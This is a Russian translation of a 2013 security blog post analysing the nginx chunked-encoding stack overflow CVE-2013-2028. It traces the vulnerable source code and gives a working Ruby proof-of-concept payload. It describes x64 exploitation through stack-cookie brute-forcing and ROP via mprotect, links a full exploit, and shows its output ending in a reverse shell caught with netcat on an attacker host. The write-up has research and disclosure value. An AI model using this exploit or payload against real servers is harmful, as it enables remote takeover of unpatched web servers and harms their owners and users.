Спустя несколько дней после релиза nginx (CVE-2013-2028), нам удалось успешно проэксплуатировать уязвимость для получения полного контроля над выполнением хода программы. Также мы нашли еще несколько путей похожих на векторы атак. Поскольку эксплоит для 32-битного nginx доступен в Metasploit, мы решили опубликовать несколько наших наработок. В данном посте будет рассмотрен анализ уязвимости а также эксплуатация для 64 разрядных систем. Ошибка В патче на nginx.org есть 3 различных компонента, которые позволяют производить переполнение. 1) Расчёт "chunked size", когда кто-то посылает запрос http с заголовком: "Transfer-Encoding: chunked". За обработку отвечает: src/http/ngx_http_parse.c:2011 Code: if (ch >= '0' && ch <= '9') { ctx->size = ctx->size * 16 + (ch - '0'); break; } c = (u_char) (ch | 0x20); if (c >= 'a' && c <= 'f') { ctx->size = ctx->size * 16 + (c - 'a' + 10); break; } Это простой разбор блока, а также конвертация из шестнадцатеричной системы в десятичную. С этого места ctx->size определяет size_t, unsigned типом, значение переменной может быть отрицательным числом, когда производится перевод в знакозависимый тип. Рассмотрим это позже. 2) Nginx модуль для обработки статического файла: Когда nginx устанавливает статический файл (что происходит по умолчанию) в дело вступит ngx_http_static_handler (src/http/modules/ngx_http_static_module.c:49) ngx_http_static_handler вызовет ngx_http_discard_request_body в src/http/modules/ngx_http_static_module.c:211. ngx_http_discard_request_body вызовет ngx_http_read_discarded_request_body в src/http/ngx_http_request_body.c:526. Общий вид вызовов такой: Code: ngx_http_static_handler->ngx_http_discard_request_body->ngx_http_read_discarded_request_body ngx_http_read_discarded_request_body - самое интересное место, мы видим, что буфер с постоянным размером определяется в src/http/ngx_http_request_body.c:630 следующим образом: Code: static ngx_int_t ngx_http_read_discarded_request_body(ngx_http_request_t *r) { size_t size; ssize_t n; ngx_int_t rc; ngx_buf_t b; u_char buffer[NGX_HTTP_DISCARD_BUFFER_SIZE]; NGX_HTTP_DISCARD_BUFFER_SIZE установлен в 4096 в файле src/http/ngx_http_request.h:19 Также интересный момент в том, как заполняется этот буфер src/http/ngx_http_request_body.c:649 позднее мы это будем использовать. Code: size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE); n = r->connection->recv(r->connection, buffer, size); 3) Изменение состояний, при разборе http запроса Возвращаясь в src/http/ngx_http_request_body.c, перед вызовом ngx_http_read_discarded_request_body, nginx производит проверку на существование типа запроса "chunked". Это происходит ngx_http_discard_request_body_filter определённым в src/http/ngx_http_request_body.c:680. ngx_http_discard_request_body_filter запустит ngx_http_parse_chunked, который был упомянутым в 1 пунтке. После этого возвращенное значение в "rc" проверено с некоторой константой. Code: if (rc == NGX_AGAIN) { /* set amount of data we want to see next time */ r->headers_in.content_length_n = rb->chunked->length; break; } Предположим, что возможна установка rb->chunked->length как очень большое число, тогда rc станет NGX_AGAIN. После чего произойдут некоторые события: - r->headers_in.content_length_n станет в отрицательным (поскольку он определен с `off_t`, который является знакозависимым типом). - Функция ngx_http_discard_request_body_filter возвращает программу для исполнения ngx_http_read_discarded_request_body в которой находится наш уязвимый буфер. - Наконец recv () получит больше чем 4096 байтов и произойдет переполнение буфера на стеке. Есть несколько способов установить chunked->length, отсюда rb->chunked->length, длина назначена в конце функции ngx_http_parse_chunked. Отсюда имеем полный контроль над rb->chunked->size Code: switch (state) { case sw_chunk_start: ctx->length = 3 /* "0" LF LF */; break; case sw_chunk_size: ctx->length = 2 /* LF LF */ + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0); Установив rc = NGX_AGAIN, мы понимаем, что для запроса nginx создает первый recv равный 1024 байта и если мы пошлем больше чем 1024 байта ngx_http_parse_chunked, возвратится в NGX_AGAIN, когда nginx попробует обратится к recv снова, произведем установку. Полезные нагрузки для переполнения буфера: - Отправить http запрос с "transfer-encoding: chunked". - Отправить большое шестнадцатеричное число, чтобы заполнить все 1024 байта. - Отправить более 4096 байт, чтобы переполнить буфер, когда recv будет выполнен во второй раз. TL;DR? Концепция для x64 Code: require 'ronin' tcp_connect(ARGV[0],ARGV[1].to_i) { |s| payload = ["GET / HTTP/1.1\r\n", "Host: 1337.vnsecurity.net\r\n", "Accept: */*\r\n", "Transfer-Encoding: chunked\r\n\r\n"].join payload << "f"*(1024-payload.length-8) + "0f0f0f0f" #chunked payload << "A"*(4096+8) #padding payload << "C"*8 #cookie s.send(payload, 0) } Вывод strace Code: strace -p 11337 -s 5000 2>&1 | grep recv recvfrom(3, "GET / HTTP/1.1\r\nHost: 1337.vnsecurity.net\r\nAccept: */*\r\nTransfer-Encoding: chunked\r\n\r\nfff...snip..fff0f0f0f0f", 1024, 0, NULL, NULL) = 1024 recvfrom(3, "AAA..snip..AACCCCCCCC", 18446744069667229461, 0, NULL, NULL) = 4112 Эксплуатация в x64 Проблема стека cookie/carnary может быть преодолена брутфорсом байт. До тех пор пока мы не получим какой либо вывод, будем пробовать увеличивать значение кукисов. Следующим шаго нужно обойти ASLR и DEP. Принцип 32-разрядной системы не подойдет, поскольку слишком большое адресное пространство. Мы даем эксплоит только для бинарнника, тоесть мы собираем ROP гаджет из двоичности. Адрес mprotect вычисляется от адреса mmap64 (в GOT-table), тогда можно выделяем writable-executable фрагментируемую память. Только тогда можно использовать ROP для копирования шеллкода и попытаться выполнить его. TL;DR полный код эксплоита можно взять тут: https://github.com/danghvu/nginx-1.4.0/blob/master/exp-nginx.rb Code: ruby exp-nginx.rb 1.2.3.4 4321 [+] searching for byte: 1 214 [+] searching for byte: 2 102 [+] searching for byte: 3 232 [+] searching for byte: 4 213 [+] searching for byte: 5 103 [+] searching for byte: 6 151 [+] searching for byte: 7 45 Found cookie: \x00\xd6\x66\xe8\xd5\x67\x97\x2d 8 PRESS ENTER TO GIVE THE SHIT TO THE HOLE AT w.w.w.w 4000 1120 connections В w.w.w.w Code: nc -lvvv 4000 Connection from 1.2.3.4 port 4000 [tcp/*] accepted uname -a Linux ip-10-80-253-191 3.2.0-40-virtual #64-Ubuntu SMP Mon Mar 25 21:42:18 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),110(netdev),111(admin) ps aux | grep nginx ubuntu 2920 0.1 0.0 13920 668 ? Ss 15:11 0:01 nginx: master process ./sbin/nginx ubuntu 5037 0.0 0.0 14316 1024 ? S 15:20 0:00 nginx: worker process ubuntu 5039 0.0 0.0 14316 1024 ? S 15:20 0:00 nginx: worker process ubuntu 5041 0.0 0.0 14316 1024 ? S 15:20 0:00 nginx: worker process Проверка надёжности Есть некоторые причины, из-за которых описаные методы возможно не сработают: 1) Nginx не использует блокировку recv(). Если мы не можем послать достаточно много даннх в короткий срок, чтобы переписать обратный адрес / кукисы, эксплоит не отработает. Причиной этому является наличие других пользователей обращающихся к серверу. 2) Наш анализ распространяется толлько на дефолтные настройки nginx. В боевых условиях возможны различия конфигураций. 3) Слепое нападение является трудным без знания двух вещей: разрядности и ОС на сервере. Для 32 разрядной системы возможен брутфорс, но возможны проблемы с записью. При написании этого сообщения, мы фактически нашли другой вектор нападения, который более надежен и опробован на нескольких настройках nginx. Однако, об этом будет в следующем сообщении. Автор: w00d // перевод VY_CMa Дата: 21 мая 2013 http://www.vnsecurity.net/2013/05/analysis-of-nginx-cve-2013-2028/